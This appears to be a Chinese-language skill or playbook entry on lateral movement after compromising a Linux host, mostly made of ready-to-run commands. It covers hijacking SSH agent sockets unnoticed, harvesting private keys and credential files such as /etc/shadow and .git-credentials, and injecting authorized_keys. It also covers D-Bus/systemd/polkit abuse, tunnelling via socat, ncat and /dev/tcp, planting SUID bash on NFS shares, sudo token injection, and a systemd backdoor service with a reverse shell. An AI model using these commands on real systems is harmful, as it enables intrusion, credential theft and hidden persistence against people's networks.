性能优化
在获得 Linux 主机初始访问后横向移动到其他主机:SSH…
拿到一台 Linux 主机权限后,如何利用 SSH 代理/密钥、系统凭据、D-Bus、隧道和共享文件系统横向移动到内网其他主机。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
在获得 Linux 主机初始访问后横向移通用
解决思路
- 查找 SSH agent socket:用 `find /tmp -path "*/ssh-*" -name "agent.*"` 或 `grep -r SSH_AUTH_SOCK /proc/*/environ`,典型路径为 /tmp/ssh-XXXXXX/agent.PID
- 劫持 agent 转发:`export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345`,用 `ssh-add -l` 列出可用密钥,然后 `ssh -o StrictHostKeyChecking=no user@internal-host` 登录该 agent 能认证的主机,agent 所有者不会察觉
- 持久监控新 agent socket:用 `inotifywait -m /tmp -e create | grep ssh-`,或循环用 `find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker` 轮询等待管理员 SSH 登录
- 收集私钥:`find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key"`,同时检查 /etc/ssh/ssh_host_*_key 和 /home/*/.ssh/id_*
- 筛选无口令私钥:对每个 `id_*`(排除 .pub)执行 `ssh-keygen -y -P "" -f "$key"`,成功则输出 NO PASSPHRASE
- 解析 known_hosts 获取目标主机:用 `ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts` 处理哈希条目,用 `awk '{print $1}' ~/.ssh/known_hosts | sort -u` 提取明文主机,并汇总所有用户的 known_hosts
- 注入 authorized_keys:在攻击机 `ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""` 生成密钥,把公钥追加到目标 /root/.ssh/authorized_keys 和 /home/admin/.ssh/authorized_keys,再用 `ssh -i /tmp/pivot_key root@target` 登录
- 从系统文件收集凭据:读取 /etc/shadow、/etc/passwd、各用户 .bash_history、.mysql_history、.psql_history、.pgpass、.my.cnf、.netrc、.git-credentials
- 从环境变量和进程环境收集密钥:`env | grep -iE "pass|key|secret|token|api|cred|auth"`,以及遍历 /proc/[0-9]*/environ 过滤敏感字段
- 搜索应用配置中的凭据:在 /var/www、/opt、/srv 下查找 wp-config.php、settings.py、*.env、database.yml、docker-compose.yml,以及 *.keyring、.vault-token、.password-store/*.gpg
- 枚举 D-Bus 服务:用 `dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames` 列出系统总线,用 --session 列出会话总线,并用 Introspect 查看服务方法
- 通过 D-Bus 滥用 systemd 与 PolicyKit:用 `dbus-send --system --dest=org.freedesktop.systemd1 ... org.freedesktop.systemd1.Manager.StartUnit string:"malicious.service" string:"replace"` 启动服务,用 `pkaction --verbose | grep -B5 "implicit active: yes"` 找无需认证的 polkit 动作
- SSH 隧道穿透:本地转发 `ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host`,远程转发 `ssh -R 8080:ATTACKER:8080 pivot@compromised-host`,动态 SOCKS `ssh -D 1080 pivot@compromised-host` 配合 proxychains,多跳用 `ssh -J user1@hop1,user2@hop2 target@final-host`
- 无 SSH 时的替代隧道:`socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &`、`ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"`、用 bash 内建 /dev/tcp 直接发请求、或用 chisel 做 HTTP 上的 SOCKS 代理
- 从被控主机做网络发现:`ss -tlnp && ss -tnp` 看监听与连接,`arp -a && ip neigh` 看邻居,读 /etc/resolv.conf,尝试 `dig axfr internal.domain @dns` 区域传送
- 做子网与端口扫描:用 bash 循环 `for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "ALIVE: 10.0.0.$i" & done; wait`,用 /dev/tcp 探测 22/80/443/3306/5432/6379/8080 等端口
- 利用 NFS 共享:`showmount -e FILESERVER_IP` 发现共享,挂载后若为 no_root_squash 则 `cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash`,所有挂载同一共享的主机上该 SUID 二进制即为 root
- 利用 SMB/CIFS 共享:`smbclient -L //FILESERVER_IP/ -N` 或带凭据枚举共享,挂载后搜索 *.conf、*.cfg、*.kdbx、*.xlsx、*.docx 等文件找凭据
- 复用 sudo 令牌(ptrace):检查 /var/run/sudo/ts/ 或 /var/db/sudo/ 下未过期的 timestamp 文件,对持有有效 sudo 令牌的同 UID 或 root 可 ptrace 的进程注入 `sudo /bin/bash`,使其继承有效时间戳而免密,可用 sudo_inject 工具自动化
- 操纵 systemd 服务:`find /etc/systemd /usr/lib/systemd -writable -name "*.service"` 找可写单元,注入 ExecStartPre 或新建 /etc/systemd/system/backdoor.service 写入反弹 shell,然后 `systemctl daemon-reload && systemctl enable --now backdoor.service`
- 按决策树选择路径:有 SSH 凭据则试密钥/agent/密码喷洒/注入 key;发现网络服务则隧道攻击、用收集的凭据连数据库、挂载共享找凭据或 SUID、遇 6443 加载 kubernetes-pentesting;能到达其他主机则直连 SSH 或用隧道;当前主机为 root 则读 shadow 破解、dump /proc/*/environ、劫持 sudo 令牌、改 systemd 后门;有 D-Bus 则滥用特权服务或 polkit;无路径则 ARP/端口扫描、被动嗅探、等待管理员 SSH 后劫持 agent、检查云元数据 169.254.169.254
适用边界 · 注意事项
- 未获得任何 Linux 主机初始访问权限时
- 目标环境完全无 SSH、无共享文件系统且网络隔离严格、无任何可用凭据或隧道出口时
- 仅获得受限 shell 且安全模块(如 SELinux/AppArmor)阻断横向移动工具时,应先加载 linux-security-bypass 技能